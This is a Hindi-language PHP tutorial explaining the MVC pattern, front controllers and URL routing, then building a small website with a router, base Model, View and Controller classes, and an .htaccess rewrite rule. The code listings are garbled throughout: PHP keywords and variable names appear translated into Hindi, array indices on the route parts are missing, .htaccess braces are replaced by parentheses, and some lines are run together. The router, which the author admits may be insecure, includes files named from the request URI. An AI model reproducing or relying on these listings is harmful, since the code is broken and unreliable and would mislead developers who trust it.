    1. सिद्धांत एमवीसी पैटर्न किसी एप्लिकेशन को संरचना करने का एक सरल तरीका बताता है, जिसका उद्देश्य उपयोगकर्ता इंटरफ़ेस से व्यावसायिक तर्क को अलग करना है। नतीजतन, एप्लिकेशन को स्केल करना, परीक्षण करना, रखरखाव करना और निश्चित रूप से लागू करना आसान है।

    आइए एमवीसी पैटर्न के वैचारिक आरेख को देखें (मेरी राय में, यह मेरे द्वारा देखा गया सबसे सफल आरेख है):

    एमवीसी आर्किटेक्चर में, मॉडल डेटा और बिजनेस लॉजिक नियम प्रदान करता है, व्यू यूजर इंटरफेस के लिए जिम्मेदार है, और नियंत्रक मॉडल और व्यू के बीच इंटरैक्शन प्रदान करता है।

    एमवीसी एप्लिकेशन के एक विशिष्ट प्रवाह को निम्नानुसार वर्णित किया जा सकता है:

  • जब कोई उपयोगकर्ता किसी वेब संसाधन पर जाता है, तो आरंभीकरण स्क्रिप्ट एप्लिकेशन का एक उदाहरण बनाती है और इसे निष्पादन के लिए लॉन्च करती है।
    मान लीजिए, यह साइट के मुख्य पृष्ठ का दृश्य प्रदर्शित करता है।
  • एप्लिकेशन उपयोगकर्ता से एक अनुरोध प्राप्त करता है और अनुरोधित नियंत्रक और कार्रवाई निर्धारित करता है। मुख्य पृष्ठ के मामले में, डिफ़ॉल्ट कार्रवाई की जाती है ( अनुक्रमणिका).
  • एप्लिकेशन नियंत्रक को त्वरित करता है और क्रिया विधि चलाता है,
    उदाहरण के लिए, इसमें मॉडल कॉल शामिल हैं जो डेटाबेस से जानकारी पढ़ते हैं।
  • इसके बाद, कार्रवाई मॉडल से प्राप्त डेटा के साथ एक दृश्य बनाती है और उपयोगकर्ता को परिणाम प्रदर्शित करती है।
  • मॉडल - इसमें एप्लिकेशन का व्यावसायिक तर्क शामिल होता है और इसमें लाने के तरीके (ये ओआरएम तरीके हो सकते हैं), प्रसंस्करण (उदाहरण के लिए, सत्यापन नियम) और विशिष्ट डेटा प्रदान करना शामिल होता है, जो अक्सर इसे बहुत मोटा बनाता है, जो काफी सामान्य है।
    मॉडल को उपयोगकर्ता के साथ सीधे इंटरैक्ट नहीं करना चाहिए. उपयोगकर्ता अनुरोध से संबंधित सभी चर को नियंत्रक में संसाधित किया जाना चाहिए।
    मॉडल को HTML या अन्य डिस्प्ले कोड उत्पन्न नहीं करना चाहिए जो उपयोगकर्ता की आवश्यकताओं के आधार पर बदल सकता है। ऐसे कोड को दृश्यों में संसाधित किया जाना चाहिए।
    एक ही मॉडल, उदाहरण के लिए: उपयोगकर्ता प्रमाणीकरण मॉडल का उपयोग एप्लिकेशन के उपयोगकर्ता और प्रशासनिक दोनों भागों में किया जा सकता है। इस मामले में, आप सामान्य कोड को एक अलग वर्ग में ले जा सकते हैं और इसके वंशजों में उप-अनुप्रयोग-विशिष्ट तरीकों को परिभाषित करते हुए इसे प्राप्त कर सकते हैं।

    दृश्य - नियंत्रक और मॉडल से प्राप्त डेटा के बाहरी प्रदर्शन को निर्दिष्ट करने के लिए उपयोग किया जाता है।
    व्यू में डेटा को ट्रैवर्स करने, फ़ॉर्मेट करने और प्रदर्शित करने के लिए HTML मार्कअप और PHP कोड के छोटे इंसर्ट होते हैं।
    सीधे डेटाबेस तक नहीं पहुंचना चाहिए. मॉडलों को यही करना चाहिए.
    उपयोगकर्ता के अनुरोध से प्राप्त डेटा के साथ काम नहीं करना चाहिए। यह कार्य नियंत्रक द्वारा किया जाना चाहिए.
    आउटपुट-तैयार डेटा प्राप्त करने के लिए नियंत्रक या मॉडल के गुणों और विधियों तक सीधे पहुंच सकते हैं।
    दृश्य आमतौर पर एक सामान्य टेम्पलेट में विभाजित होते हैं, जिसमें सभी पृष्ठों के लिए सामान्य मार्कअप (उदाहरण के लिए, एक हेडर और पाद लेख) और टेम्पलेट के कुछ हिस्से होते हैं जिनका उपयोग मॉडल से डेटा आउटपुट प्रदर्शित करने या डेटा प्रविष्टि फॉर्म प्रदर्शित करने के लिए किया जाता है।

    नियंत्रक वह गोंद है जो मॉडल, दृश्य और अन्य घटकों को एक कार्यशील अनुप्रयोग में जोड़ता है। नियंत्रक उपयोगकर्ता के अनुरोधों को संसाधित करने के लिए जिम्मेदार है। नियंत्रक में SQL क्वेरीज़ नहीं होनी चाहिए. इन्हें मॉडलों में रखना बेहतर है। नियंत्रक में HTML या अन्य मार्कअप नहीं होना चाहिए. इसे ध्यान में लाना उचित है।
    एक अच्छी तरह से डिज़ाइन किए गए एमवीसी एप्लिकेशन में, नियंत्रक आमतौर पर बहुत पतले होते हैं और उनमें कोड की केवल कुछ दर्जन लाइनें होती हैं। सीएमएस जूमला में स्टुपिड फैट कंट्रोलर्स (एसएफसी) के बारे में ऐसा नहीं कहा जा सकता है। नियंत्रक तर्क काफी विशिष्ट है और इसका अधिकांश भाग बेस कक्षाओं में स्थानांतरित किया जाता है।
    इसके विपरीत, मॉडल बहुत मोटे होते हैं और उनमें डेटा प्रोसेसिंग से संबंधित अधिकांश कोड होते हैं, क्योंकि इसमें मौजूद डेटा संरचना और व्यावसायिक तर्क आमतौर पर किसी विशेष एप्लिकेशन के लिए काफी विशिष्ट होते हैं।

    1.1. फ्रंट कंट्रोलर और पेज कंट्रोलर ज्यादातर मामलों में, वेब एप्लिकेशन के साथ उपयोगकर्ता का इंटरेक्शन लिंक पर क्लिक करने के माध्यम से होता है। अब अपने ब्राउज़र के एड्रेस बार को देखें - आपको यह टेक्स्ट इस लिंक से प्राप्त हुआ है। अन्य लिंक, जैसे कि इस पृष्ठ के दाईं ओर, आपको अलग-अलग सामग्री प्रदान करेंगे। इस प्रकार, लिंक वेब एप्लिकेशन के लिए एक विशिष्ट कमांड का प्रतिनिधित्व करता है।

    मुझे आशा है कि आपने पहले ही ध्यान दिया होगा कि विभिन्न साइटों में एड्रेस बार के निर्माण के लिए पूरी तरह से अलग-अलग प्रारूप हो सकते हैं। प्रत्येक प्रारूप वेब एप्लिकेशन के आर्किटेक्चर को प्रदर्शित कर सकता है। हालाँकि यह हमेशा मामला नहीं होता है, ज्यादातर मामलों में यह एक स्पष्ट तथ्य है।

    आइए एड्रेस बार के लिए दो विकल्पों पर विचार करें, जो कुछ टेक्स्ट और एक उपयोगकर्ता प्रोफ़ाइल प्रदर्शित करते हैं।

    पहला विकल्प:

  • www.example.com/article.php?id=3
  • www.example.com/user.php?id=4
  • यहां, प्रत्येक स्क्रिप्ट एक विशिष्ट कमांड को निष्पादित करने के लिए जिम्मेदार है।

    दूसरा विकल्प:

  • www.example.com/index.php?article=3
  • www.example.com/index.php?user=4
  • और यहां सभी कॉल एक ही Index.php स्क्रिप्ट में होती हैं।

    आप phpBB मंचों पर मल्टी-टचप्वाइंट दृष्टिकोण देख सकते हैं। फ़ोरम को viewforum.php स्क्रिप्ट के माध्यम से देखा जाता है, विषय को viewtopic.php आदि के माध्यम से देखा जाता है। दूसरा दृष्टिकोण, जिसे एकल भौतिक स्क्रिप्ट फ़ाइल के माध्यम से एक्सेस किया जा सकता है, मेरे पसंदीदा CMS MODX में देखा जा सकता है, जहाँ सभी कॉलें Index.php से होकर गुजरती हैं।

    ये दोनों दृष्टिकोण बिल्कुल अलग हैं। पहला पेज कंट्रोलर पैटर्न के लिए विशिष्ट है, और दूसरा दृष्टिकोण फ्रंट कंट्रोलर पैटर्न द्वारा कार्यान्वित किया जाता है। पृष्ठ नियंत्रक काफी सरल तर्क वाली साइटों के लिए अच्छा है। बदले में, अनुरोध नियंत्रक सभी अनुरोध प्रसंस्करण गतिविधियों को एक ही स्थान पर समेकित करता है, जो इसे अतिरिक्त क्षमताएं देता है जो आपको पृष्ठ नियंत्रक द्वारा आमतौर पर हल किए जाने वाले कार्यों की तुलना में अधिक जटिल कार्यों को लागू करने की अनुमति दे सकता है। मैं पेज नियंत्रक के कार्यान्वयन के विवरण में नहीं जाऊंगा, लेकिन केवल इतना कहूंगा कि व्यावहारिक भाग में, यह अनुरोध नियंत्रक (कुछ समान) विकसित किया जाएगा।

    1.2. यूआरएल रूटिंग यूआरएल रूटिंग आपको उन यूआरएल से अनुरोध स्वीकार करने के लिए अपने एप्लिकेशन को कॉन्फ़िगर करने की अनुमति देता है जो वास्तविक एप्लिकेशन फ़ाइलों से मेल नहीं खाते हैं, और सीएनसी का उपयोग करते हैं जो उपयोगकर्ताओं के लिए अर्थपूर्ण हैं और खोज इंजन अनुकूलन के लिए पसंदीदा हैं।

    उदाहरण के लिए, संपर्क फ़ॉर्म प्रदर्शित करने वाले एक नियमित पृष्ठ के लिए, यूआरएल इस तरह दिख सकता है:
    http://www.example.com/contacts.php?action=feedback

    इस मामले में अनुमानित प्रसंस्करण कोड:
    स्विच ($_GET ["कार्रवाई" ]) (मामला "के बारे में": require_once ("about.php" ); // "हमारे बारे में" पेज ब्रेक; मामला "संपर्क": require_once ("संपर्क.php" ); // पेज "संपर्क" ब्रेक; केस "फीडबैक": require_once ("फीडबैक.php" ); // पेज "फीडबैक" ब्रेक; डिफ़ॉल्ट: require_once ("पेज404.php"); // पेज "404" ब्रेक ; )
    मुझे लगता है कि लगभग सभी ने पहले ऐसा किया है।

    यूआरएल रूटिंग इंजन का उपयोग करके, आप समान जानकारी प्रदर्शित करने के लिए इस तरह के अनुरोध स्वीकार करने के लिए अपने एप्लिकेशन को कॉन्फ़िगर कर सकते हैं:
    http://www.example.com/contacts/feedback

    यहां संपर्क नियंत्रक का प्रतिनिधित्व करता है, और फीडबैक संपर्क नियंत्रक विधि है जो फीडबैक फॉर्म आदि प्रदर्शित करता है। हम व्यावहारिक भाग में इस मुद्दे पर लौटेंगे।

    यह भी जानने योग्य है कि कई वेब फ्रेमवर्क के राउटर आपको कस्टम यूआरएल रूट (यूआरएल के प्रत्येक भाग का क्या अर्थ है निर्दिष्ट करें) और उन्हें संसाधित करने के नियम बनाने की अनुमति देते हैं।
    अब हमारे पास अभ्यास के लिए आगे बढ़ने के लिए पर्याप्त सैद्धांतिक ज्ञान है।

    2. अभ्यास करें सबसे पहले, आइए निम्नलिखित फ़ाइल और फ़ोल्डर संरचना बनाएं:


    आगे देखते हुए, मैं कहूंगा कि कोर क्लास मॉडल, व्यू और कंट्रोलर को कोर फ़ोल्डर में संग्रहीत किया जाएगा।
    उनके बच्चों को नियंत्रकों, मॉडलों और दृश्य निर्देशिकाओं में संग्रहीत किया जाएगा। Index.php फ़ाइल एप्लिकेशन में प्रवेश बिंदु है। Bootstrap.php फ़ाइल एप्लिकेशन की लोडिंग शुरू करती है, सभी आवश्यक मॉड्यूल को जोड़ती है, आदि।

    हम क्रमानुसार चलेंगे; आइए Index.php फ़ाइल खोलें और इसे निम्नलिखित कोड से भरें:
    ini_set('display_errors' , 1 ); require_once "एप्लिकेशन/बूटस्ट्रैप.php" ;
    यहां कोई प्रश्न नहीं होना चाहिए.

    इसके बाद, आइए तुरंत बूटस्ट्रैप.php फ़ाइल पर जाएँ:
    require_once "core/model.php" ; require_once "core/view.php" ; require_once "core/controller.php" ; require_once "core/route.php" ; मार्ग::प्रारंभ(); //राउटर शुरू करें
    पहली तीन पंक्तियों में वर्तमान में गैर-मौजूद कर्नेल फ़ाइलें शामिल होंगी। अंतिम पंक्तियों में राउटर क्लास के साथ फ़ाइल शामिल होती है और इसे स्टैटिक स्टार्ट विधि को कॉल करके निष्पादन के लिए लॉन्च किया जाता है।

    2.1. यूआरएल राउटर को लागू करना अभी के लिए, आइए एमवीसी पैटर्न के कार्यान्वयन से हटें और रूटिंग पर ध्यान केंद्रित करें। पहला कदम जो हमें करने की ज़रूरत है वह है .htaccess में निम्नलिखित कोड लिखना:
    RewriteEngine On RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* Index.php [L]
    यह कोड सभी पेज प्रोसेसिंग को Index.php पर रीडायरेक्ट कर देगा, जिसकी हमें आवश्यकता है। याद रखें पहले भाग में हमने फ्रंट कंट्रोलर के बारे में बात की थी?!

    हम रूटिंग को कोर डायरेक्टरी में एक अलग फ़ाइल रूट.php में रखेंगे। इस फ़ाइल में हम रूट क्लास का वर्णन करेंगे, जो नियंत्रक विधियों को चलाएगा, जो बदले में पृष्ठ दृश्य उत्पन्न करेगा।

    रूट.php फ़ाइल की सामग्री

    क्लास रूट (स्थिर फ़ंक्शन प्रारंभ() ( // नियंत्रक और डिफ़ॉल्ट क्रिया $नियंत्रक_नाम = "मुख्य" ; $क्रिया_नाम = "सूचकांक" ; $मार्ग = विस्फोट("/" , $_SERVER ["REQUEST_URI" ]); // प्राप्त करें नियंत्रक नाम यदि (!खाली ($रूट्स )) ($नियंत्रक_नाम = $रूट्स ; ) // क्रिया नाम प्राप्त करें यदि (!खाली ($रूट्स )) ( $एक्शन_नाम = $रूट्स ; ) // उपसर्ग जोड़ें $model_name = " मॉडल_" .$कंट्रोलर_नाम ; $कंट्रोलर_नाम = "कंट्रोलर_" .$कंट्रोलर_नाम ; $एक्शन_नाम = "एक्शन_" .$एक्शन_नाम ; // फ़ाइल को मॉडल क्लास के साथ कनेक्ट करें (हो सकता है कि कोई मॉडल फ़ाइल न हो) $मॉडल_फ़ाइल = स्ट्रेटोलोअर ($model_name ). नियंत्रक वर्ग के साथ $controller_file = strtolower ($controller_name).php" ; $controller_path = "application/controllers/" .$controller_file ; if (file_exists($controller_path )) ( include "application/controllers/" .$controller_file ; ) अन्यथा ( /* यहां एक अपवाद फेंकना सही होगा, लेकिन चीजों को सरल बनाने के लिए, हम तुरंत 404 पृष्ठ पर रीडायरेक्ट करेंगे */ रूट::ErrorPage404(); ) // एक नियंत्रक बनाएं $नियंत्रक = नया $नियंत्रक_नाम ; $कार्रवाई = $क्रिया_नाम ; if (method_exists($controller , $action )) ( // कंट्रोलर एक्शन को कॉल करें $controller ->$action (); ) else ( // यहां एक अपवाद फेंकना भी समझदारी होगी Route::ErrorPage404(); ) ) फ़ंक्शन ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]।"/" ; हेडर("HTTP/1.1 404 नहीं मिला" ); हेडर("स्थिति: 404 नहीं मिला") ; हेडर ("स्थान:" .$होस्ट ।"404" ); ) )


    मैं ध्यान देता हूं कि कक्षा बहुत सरल तर्क लागू करती है (भारी कोड के बावजूद) और इसमें सुरक्षा समस्याएं भी हो सकती हैं। यह जानबूझकर किया गया, क्योंकि... एक पूर्ण रूटिंग क्लास लिखना कम से कम एक अलग लेख का हकदार है। आइए नजर डालते हैं मुख्य बिंदुओं पर...

    वैश्विक सरणी तत्व $_SERVER["REQUEST_URI"] में वह पूरा पता होता है जिससे उपयोगकर्ता ने संपर्क किया था।
    उदाहरण के लिए: example.ru/contacts/feedback

    फ़ंक्शन का उपयोग करना विस्फोटपते को घटकों में विभाजित किया गया है। परिणामस्वरूप, हमें नियंत्रक का नाम मिलता है, दिए गए उदाहरण के लिए, यह नियंत्रक है संपर्कऔर कार्रवाई का नाम, हमारे मामले में - प्रतिक्रिया.

    इसके बाद, मॉडल फ़ाइल (मॉडल गायब हो सकता है) और नियंत्रक फ़ाइल, यदि कोई हो, जुड़े हुए हैं और अंत में, नियंत्रक का एक उदाहरण बनाया जाता है और कार्रवाई को फिर से बुलाया जाता है, यदि इसे नियंत्रक वर्ग में वर्णित किया गया था।

    इस प्रकार, जब जा रहे हों, उदाहरण के लिए, पता:
    example.com/portfolio
    या
    example.com/portfolio/index
    राउटर निम्नलिखित क्रियाएं करेगा:

  • इसमें मॉडल फ़ोल्डर से model_portfolio.php फ़ाइल शामिल होगी, जिसमें मॉडल_पोर्टफोलियो वर्ग शामिल होगा;
  • इसमें कंट्रोलर फ़ोल्डर से कंट्रोलर_पोर्टफोलियो.php फ़ाइल शामिल होगी, जिसमें कंट्रोलर_पोर्टफोलियो वर्ग शामिल होगा;
  • कंट्रोलर_पोर्टफोलियो क्लास का एक उदाहरण बनाएगा और उसमें वर्णित डिफ़ॉल्ट एक्शन, एक्शन_इंडेक्स को कॉल करेगा।
  • यदि उपयोगकर्ता किसी गैर-मौजूद नियंत्रक के पते तक पहुंचने का प्रयास करता है, उदाहरण के लिए:
    example.com/ufo
    तो उसे "404" पृष्ठ पर पुनः निर्देशित किया जाएगा:
    example.com/404
    यदि उपयोगकर्ता किसी ऐसी क्रिया तक पहुंचता है जो नियंत्रक.2.2 में वर्णित नहीं है, तो भी यही बात होगी। चलिए एमवीसी कार्यान्वयन पर वापस आते हैं। आइए कोर फ़ोल्डर में जाएं और रूट.php फ़ाइल में तीन और फ़ाइलें जोड़ें: मॉडल.php, view.php और कंट्रोलर.php


    मैं आपको याद दिला दूं कि उनमें आधार कक्षाएं होंगी, जिन्हें अब हम लिखना शुरू करेंगे।

    model.php फ़ाइल की सामग्री
    क्लास मॉडल (सार्वजनिक फ़ंक्शन get_data ( ) ( ) )
    मॉडल वर्ग में एक खाली डेटा लाने की विधि शामिल है, जिसे वंशज वर्गों में ओवरराइड किया जाएगा। जब हम वंशज वर्ग बनाएंगे तो सब कुछ स्पष्ट हो जाएगा।

    View.php फ़ाइल की सामग्री
    क्लास व्यू (//सार्वजनिक $टेम्पलेट_व्यू; // यहां आप डिफ़ॉल्ट सामान्य दृश्य निर्दिष्ट कर सकते हैं। फ़ंक्शन जेनरेट ($content_view, $template_view, $data = null) ( /* if(is_array($data)) ( // कन्वर्ट ऐरे वेरिएबल्स में तत्व निकालें($डेटा); ) */ "एप्लिकेशन/व्यू/" शामिल करें। $template_view ; ) )
    इस तरीके का अंदाजा लगाना मुश्किल नहीं है उत्पन्नएक दृष्टिकोण बनाने का इरादा है। निम्नलिखित पैरामीटर इसे पास किए गए हैं:

  • $content_file - पृष्ठ सामग्री प्रदर्शित करने वाले दृश्य;
  • $template_file — सभी पृष्ठों के लिए सामान्य टेम्पलेट;
  • $data एक सारणी है जिसमें पृष्ठ सामग्री तत्व शामिल हैं। आमतौर पर मॉडल में भरा जाता है।
  • शामिल फ़ंक्शन गतिशील रूप से एक सामान्य टेम्पलेट (दृश्य) को जोड़ता है जिसके भीतर दृश्य एम्बेड किया जाएगा
    किसी विशिष्ट पृष्ठ की सामग्री प्रदर्शित करने के लिए।

    हमारे मामले में, सामान्य टेम्पलेट में हेडर, मेनू, साइडबार और फ़ुटर शामिल होंगे, और पृष्ठ सामग्री एक अलग रूप में समाहित होगी। फिर, यह सरलता के लिए किया जाता है।

    कंट्रोलर.php फ़ाइल की सामग्री
    वर्ग नियंत्रक (सार्वजनिक $मॉडल; सार्वजनिक $दृश्य; फ़ंक्शन __construct() ($यह ->देखें = नया दृश्य(); ))
    तरीका कार्रवाई_सूचकांक- यह वह क्रिया है जिसे डिफ़ॉल्ट रूप से कहा जाता है; हम वंशज वर्गों को लागू करते समय इसे ओवरराइड कर देंगे।

    2.3. वंशज वर्गों मॉडल और नियंत्रक का कार्यान्वयन, व्यू का निर्माण अब मज़ा शुरू होता है! हमारी बिजनेस कार्ड वेबसाइट में निम्नलिखित पृष्ठ शामिल होंगे:
  • घर
  • सेवाएं
  • पोर्टफोलियो
  • संपर्क
  • और यह भी - "404" पृष्ठ
  • नियंत्रक फ़ोल्डर से प्रत्येक पृष्ठ का अपना नियंत्रक होता है और दृश्य फ़ोल्डर से एक दृश्य होता है। कुछ पेज मॉडल फ़ोल्डर से मॉडल या मॉडल का उपयोग कर सकते हैं।


    पिछले चित्र में, फ़ाइल template_view.php को अलग से हाइलाइट किया गया है - यह एक टेम्प्लेट है जिसमें सभी पृष्ठों के लिए सामान्य मार्कअप शामिल है। सबसे सरल मामले में यह इस तरह दिख सकता है:
    घर
    साइट को प्रस्तुत करने योग्य रूप देने के लिए, हम एक सीएसएस टेम्पलेट बनाते हैं और HTML मार्कअप की संरचना को बदलकर और सीएसएस और जावास्क्रिप्ट फ़ाइलों को जोड़कर इसे अपनी साइट में एकीकृत करते हैं:

    लेख के अंत में, "परिणाम" अनुभाग में, एक प्रोजेक्ट के साथ GitHub रिपॉजिटरी का एक लिंक है जिसमें एक सरल टेम्पलेट को एकीकृत करने के लिए कदम उठाए गए हैं।

    2.3.1. मुख्य पृष्ठ बनाना आइए कंट्रोलर controler_main.php से शुरू करें, यहां इसका कोड है:
    क्लास कंट्रोलर_मेन कंट्रोलर का विस्तार करता है (फ़ंक्शन एक्शन_इंडेक्स () ($ यह -> देखें-> जेनरेट करें ("main_view.php" , "template_view.php" ); ) )
    विधि में उत्पन्नदृश्य वर्ग का एक उदाहरण, सामान्य टेम्पलेट की फ़ाइलों के नाम और पृष्ठ सामग्री के साथ दृश्य पारित किया जाता है।
    अनुक्रमणिका क्रिया के अतिरिक्त, नियंत्रक में निश्चित रूप से अन्य क्रियाएं भी शामिल हो सकती हैं।

    हमने पहले सामान्य दृश्य फ़ाइल की समीक्षा की थी। सामग्री फ़ाइल main_view.php पर विचार करें:
    स्वागत! ओलोलोशा टीम वेबसाइट विकास के क्षेत्र में प्रथम श्रेणी के विशेषज्ञों की एक टीम है, जिसके पास भारत और सीलोन से मैक्सिकन मुखौटे, कांस्य और पत्थर की मूर्तियों, पांच या छह शताब्दियों के भूमध्यरेखीय अफ्रीका के उस्तादों द्वारा बनाई गई बेस-रिलीफ और मूर्तियों को इकट्ठा करने का कई वर्षों का अनुभव है। पहले...
    इसमें बिना किसी PHP कॉल के सरल मार्कअप शामिल है।
    मुख्य पृष्ठ प्रदर्शित करने के लिए, आप निम्नलिखित में से किसी एक पते का उपयोग कर सकते हैं: